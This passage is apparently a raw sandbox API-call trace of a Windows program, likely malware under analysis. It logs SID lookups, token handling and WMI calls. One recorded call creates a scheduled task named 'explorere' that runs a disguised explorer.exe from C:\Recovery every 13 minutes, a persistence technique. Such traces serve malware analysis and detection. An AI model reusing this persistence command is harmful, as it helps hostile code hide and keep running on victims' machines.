returned="1000" [0137.032] malloc (_Size=0x18) returned 0x2aefc0 [0137.032] malloc (_Size=0x18) returned 0x2af0c0 [0137.032] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0137.032] SysStringLen (param_1="-") returned 0x1 [0137.032] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x54 | out: _Dst=0x12d918) returned 0x12d918 [0137.032] memcpy (in: _Dst=0x12d96a, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x12d96a) returned 0x12d96a [0137.032] free (_Block=0x2af000) [0137.032] free (_Block=0x2aefc0) [0137.032] malloc (_Size=0x18) returned 0x2aefc0 [0137.032] malloc (_Size=0x18) returned 0x2af000 [0137.032] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0137.032] SysStringLen (param_1="1000") returned 0x4 [0137.032] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x56 | out: _Dst=0x107588) returned 0x107588 [0137.032] memcpy (in: _Dst=0x1075dc, _Src=0x1395c8, _Size=0xa | out: _Dst=0x1075dc) returned 0x1075dc [0137.032] free (_Block=0x2af0c0) [0137.032] free (_Block=0x2aefc0) [0137.032] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0137.032] malloc (_Size=0x5e) returned 0x2b08a0 [0137.032] free (_Block=0x2af000) [0137.032] malloc (_Size=0x18) returned 0x2af000 [0137.033] free (_Block=0x2b08a0) [0137.033] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0137.033] GetLastError () returned 0x7a [0137.033] malloc (_Size=0x14) returned 0x2aefc0 [0137.033] malloc (_Size=0x16) returned 0x2af0c0 [0137.033] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefc0, cchName=0xe7ca84, ReferencedDomainName=0x2af0c0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0137.034] malloc (_Size=0x18) returned 0x2aefa0 [0137.034] malloc (_Size=0x18) returned 0x2af0e0 [0137.034] free (_Block=0x2aefc0) [0137.034] free (_Block=0x2af0c0) [0137.034] free (_Block=0x2b0000) [0137.034] free (_Block=0x2af0e0) [0137.034] free (_Block=0x2aefa0) [0137.034] free (_Block=0x2af000) [0137.035] free (_Block=0x2ae2a0) [0137.035] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0137.035] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0137.035] GetLastError () returned 0x7a [0137.035] malloc (_Size=0x2c) returned 0x2ae2e0 [0137.035] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0137.035] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0137.035] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0137.035] malloc (_Size=0x1c) returned 0x2b0000 [0137.035] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0137.035] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0137.035] malloc (_Size=0x18) returned 0x2af000 [0137.035] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0137.035] malloc (_Size=0x18) returned 0x2aefa0 [0137.035] malloc (_Size=0x18) returned 0x2af0e0 [0137.035] SysStringLen (param_1="S-1-") returned 0x4 [0137.035] SysStringLen (param_1="5") returned 0x1 [0137.035] memcpy (in: _Dst=0x1397a8, _Src=0x139898, _Size=0xa | out: _Dst=0x1397a8) returned 0x1397a8 [0137.035] memcpy (in: _Dst=0x1397b0, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x1397b0) returned 0x1397b0 [0137.036] free (_Block=0x2af000) [0137.036] free (_Block=0x2aefa0) [0137.036] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0137.036] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0137.036] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0137.036] malloc (_Size=0x18) returned 0x2aefa0 [0137.036] malloc (_Size=0x18) returned 0x2af000 [0137.036] SysStringLen (param_1="S-1-5") returned 0x5 [0137.036] SysStringLen (param_1="-") returned 0x1 [0137.036] memcpy (in: _Dst=0x1395c8, _Src=0x1397a8, _Size=0xc | out: _Dst=0x1395c8) returned 0x1395c8 [0137.036] memcpy (in: _Dst=0x1395d2, _Src=0x139898, _Size=0x4 | out: _Dst=0x1395d2) returned 0x1395d2 [0137.036] free (_Block=0x2af0e0) [0137.036] free (_Block=0x2aefa0) [0137.036] malloc (_Size=0x18) returned 0x2aefa0 [0137.036] malloc (_Size=0x18) returned 0x2af0e0 [0137.036] SysStringLen (param_1="S-1-5-") returned 0x6 [0137.036] SysStringLen (param_1="21") returned 0x2 [0137.036] memcpy (in: _Dst=0x139898, _Src=0x1395c8, _Size=0xe | out: _Dst=0x139898) returned 0x139898 [0137.036] memcpy (in: _Dst=0x1398a4, _Src=0x1397a8, _Size=0x6 | out: _Dst=0x1398a4) returned 0x1398a4 [0137.036] free (_Block=0x2af000) [0137.036] free (_Block=0x2aefa0) [0137.036] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0137.036] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0137.036] malloc (_Size=0x18) returned 0x2aefa0 [0137.036] malloc (_Size=0x18) returned 0x2af000 [0137.036] SysStringLen (param_1="S-1-5-21") returned 0x8 [0137.037] SysStringLen (param_1="-") returned 0x1 [0137.037] memcpy (in: _Dst=0x1397a8, _Src=0x139898, _Size=0x12 | out: _Dst=0x1397a8) returned 0x1397a8 [0137.037] memcpy (in: _Dst=0x1397b8, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x1397b8) returned 0x1397b8 [0137.037] free (_Block=0x2af0e0) [0137.037] free (_Block=0x2aefa0) [0137.037] malloc (_Size=0x18) returned 0x2aefa0 [0137.037] malloc (_Size=0x18) returned 0x2af0e0 [0137.037] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0137.037] SysStringLen (param_1="4219442223") returned 0xa [0137.037] memcpy (in: _Dst=0x1182b8, _Src=0x1397a8, _Size=0x14 | out: _Dst=0x1182b8) returned 0x1182b8 [0137.037] memcpy (in: _Dst=0x1182ca, _Src=0x139898, _Size=0x16 | out: _Dst=0x1182ca) returned 0x1182ca [0137.037] free (_Block=0x2af000) [0137.037] free (_Block=0x2aefa0) [0137.037] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0137.037] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0137.037] malloc (_Size=0x18) returned 0x2aefa0 [0137.037] malloc (_Size=0x18) returned 0x2af000 [0137.037] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0137.037] SysStringLen (param_1="-") returned 0x1 [0137.037] memcpy (in: _Dst=0x118218, _Src=0x1182b8, _Size=0x28 | out: _Dst=0x118218) returned 0x118218 [0137.037] memcpy (in: _Dst=0x11823e, _Src=0x1397a8, _Size=0x4 | out: _Dst=0x11823e) returned 0x11823e [0137.037] free (_Block=0x2af0e0) [0137.037] free (_Block=0x2aefa0) [0137.037] malloc (_Size=0x18) returned 0x2aefa0 [0137.037] malloc (_Size=0x18) returned 0x2af0e0 [0137.037] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0137.037] SysStringLen (param_1="4223814209") returned 0xa [0137.038] memcpy (in: _Dst=0x12d918, _Src=0x118218, _Size=0x2a | out: _Dst=0x12d918) returned 0x12d918 [0137.038] memcpy (in: _Dst=0x12d940, _Src=0x1397a8, _Size=0x16 | out: _Dst=0x12d940) returned 0x12d940 [0137.038] free (_Block=0x2af000) [0137.038] free (_Block=0x2aefa0) [0137.038] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0137.038] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0137.038] malloc (_Size=0x18) returned 0x2aefa0 [0137.038] malloc (_Size=0x18) returned 0x2af000 [0137.038] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0137.038] SysStringLen (param_1="-") returned 0x1 [0137.038] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x3e | out: _Dst=0x107588) returned 0x107588 [0137.038] memcpy (in: _Dst=0x1075c4, _Src=0x1397a8, _Size=0x4 | out: _Dst=0x1075c4) returned 0x1075c4 [0137.038] free (_Block=0x2af0e0) [0137.038] free (_Block=0x2aefa0) [0137.038] malloc (_Size=0x18) returned 0x2aefa0 [0137.038] malloc (_Size=0x18) returned 0x2af0e0 [0137.038] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0137.038] SysStringLen (param_1="3835049652") returned 0xa [0137.038] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x40 | out: _Dst=0x12d918) returned 0x12d918 [0137.038] memcpy (in: _Dst=0x12d956, _Src=0x1397a8, _Size=0x16 | out: _Dst=0x12d956) returned 0x12d956 [0137.038] free (_Block=0x2af000) [0137.038] free (_Block=0x2aefa0) [0137.038] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0137.038] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0137.038] malloc (_Size=0x18) returned 0x2aefa0 [0137.038] malloc (_Size=0x18) returned 0x2af000 [0137.038] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0137.038] SysStringLen (param_1="-") returned 0x1 [0137.039] memcpy (in: _Dst=0x107588, _Src=0x12d918, _Size=0x54 | out: _Dst=0x107588) returned 0x107588 [0137.039] memcpy (in: _Dst=0x1075da, _Src=0x1397a8, _Size=0x4 | out: _Dst=0x1075da) returned 0x1075da [0137.039] free (_Block=0x2af0e0) [0137.039] free (_Block=0x2aefa0) [0137.039] malloc (_Size=0x18) returned 0x2aefa0 [0137.039] malloc (_Size=0x18) returned 0x2af0e0 [0137.039] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0137.039] SysStringLen (param_1="1000") returned 0x4 [0137.039] memcpy (in: _Dst=0x12d918, _Src=0x107588, _Size=0x56 | out: _Dst=0x12d918) returned 0x12d918 [0137.039] memcpy (in: _Dst=0x12d96c, _Src=0x1397a8, _Size=0xa | out: _Dst=0x12d96c) returned 0x12d96c [0137.039] free (_Block=0x2af000) [0137.039] free (_Block=0x2aefa0) [0137.039] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0137.039] malloc (_Size=0x5e) returned 0x2b08a0 [0137.039] free (_Block=0x2af0e0) [0137.039] malloc (_Size=0x18) returned 0x2af0e0 [0137.039] free (_Block=0x2b08a0) [0137.039] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0137.040] GetLastError () returned 0x7a [0137.040] malloc (_Size=0x14) returned 0x2aefa0 [0137.040] malloc (_Size=0x16) returned 0x2af000 [0137.040] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2aefa0, cchName=0xe7ca94, ReferencedDomainName=0x2af000, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0137.041] malloc (_Size=0x18) returned 0x2af0c0 [0137.041] malloc (_Size=0x18) returned 0x2aefc0 [0137.041] free (_Block=0x2aefa0) [0137.041] free (_Block=0x2af000) [0137.041] free (_Block=0x2b0000) [0137.041] free (_Block=0x2aefc0) [0137.041] free (_Block=0x2af0c0) [0137.041] free (_Block=0x2af0e0) [0137.041] free (_Block=0x2ae2e0) [0137.042] malloc (_Size=0x48) returned 0x2ad270 [0137.042] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0137.046] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0137.047] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0137.047] malloc (_Size=0x18) returned 0x2af0e0 [0137.047] CreateEnvironmentBlock () returned 0x1 [0137.051] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0137.051] malloc (_Size=0x18) returned 0x2af0c0 [0137.051] CreateProcessAsUserW (in: hToken=0x2d0, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"explorere\" /sc MINUTE /mo 13 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x170c40, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"explorere\" /sc MINUTE /mo 13 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'\" /f", lpProcessInformation=0xe7cba0*(hProcess=0x2f8, hThread=0x248, dwProcessId=0xf5c, dwThreadId=0xf60)) returned 1 [0137.176] CloseHandle (hObject=0x2f8) returned 1 [0137.176] CloseHandle (hObject=0x248) returned 1 [0137.177] free (_Block=0x2af0c0) [0137.177] DestroyEnvironmentBlock () returned 0x1 [0137.177] malloc (_Size=0x48) returned 0x2ad220 [0137.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x20acc600, dwHighDateTime=0x1d8a92a)) [0137.177] SetEvent (hEvent=0x1f0) returned 1 [0137.177] CloseHandle (hObject=0x2dc) returned 1 [0137.177] CloseHandle (hObject=0x2d0) returned 1 [0137.189] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd960 [0137.189] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd960, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0137.189] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0137.556] SetLastError (dwErrCode=0x0) [0137.556] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0137.556] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0137.556] SetLastError (dwErrCode=0x0) [0137.556] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0137.556] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0137.556] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0137.556] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f3c0 [0137.556] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f3c0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0137.556] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f3c0 | out: hHeap=0xc0000) returned 1 [0137.558] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0137.558] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0137.559] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0137.559] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0137.559] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0137.559] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0137.559] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0137.561] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0137.561] GetCurrentThread () returned 0xfffffffffffffffe [0137.561] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x234) returned 1 [0137.561] malloc (_Size=0xd8) returned 0x2b35c0 [0137.562] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0137.562] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0137.562] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0137.562] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0137.562] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0137.563] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0137.563] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0137.563] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0137.563] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0137.563] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0137.563] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0137.564] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0137.564] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0137.564] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0137.564] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0137.564] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0137.564] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0137.565] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0137.565] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0137.565] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0137.565] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0137.565] malloc (_Size=0x18) returned 0x2af0e0 [0137.565] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x238) returned 1 [0137.565] malloc (_Size=0x48) returned 0x2ad220 [0137.565] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x20e84860, dwHighDateTime=0x1d8a92a)) [0137.565] SetEvent (hEvent=0x1f0) returned 1 [0137.566] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0137.566] GetLastError () returned 0x7a [0137.566] malloc (_Size=0x2c) returned 0x2ae2a0 [0137.566] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0137.567] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0137.567] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0137.567] malloc (_Size=0x1c) returned 0x2affd0 [0137.567] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0137.567] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0137.567] malloc (_Size=0x18) returned 0x2aef80 [0137.567] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0137.567] malloc (_Size=0x18) returned 0x2af0c0 [0137.567] malloc (_Size=0x18) returned 0x2aefc0 [0137.567] SysStringLen (param_1="S-1-") returned 0x4 [0137.567] SysStringLen (param_1="5") returned 0x1 [0137.567] memcpy (in: _Dst=0x1618e8, _Src=0x1397d8, _Size=0xa | out: _Dst=0x1618e8) returned 0x1618e8 [0137.567] memcpy (in: _Dst=0x1618f0, _Src=0x139628, _Size=0x4 | out: _Dst=0x1618f0) returned 0x1618f0 [0137.567] free (_Block=0x2aef80) [0137.567] free (_Block=0x2af0c0) [0137.568] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0137.568] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), 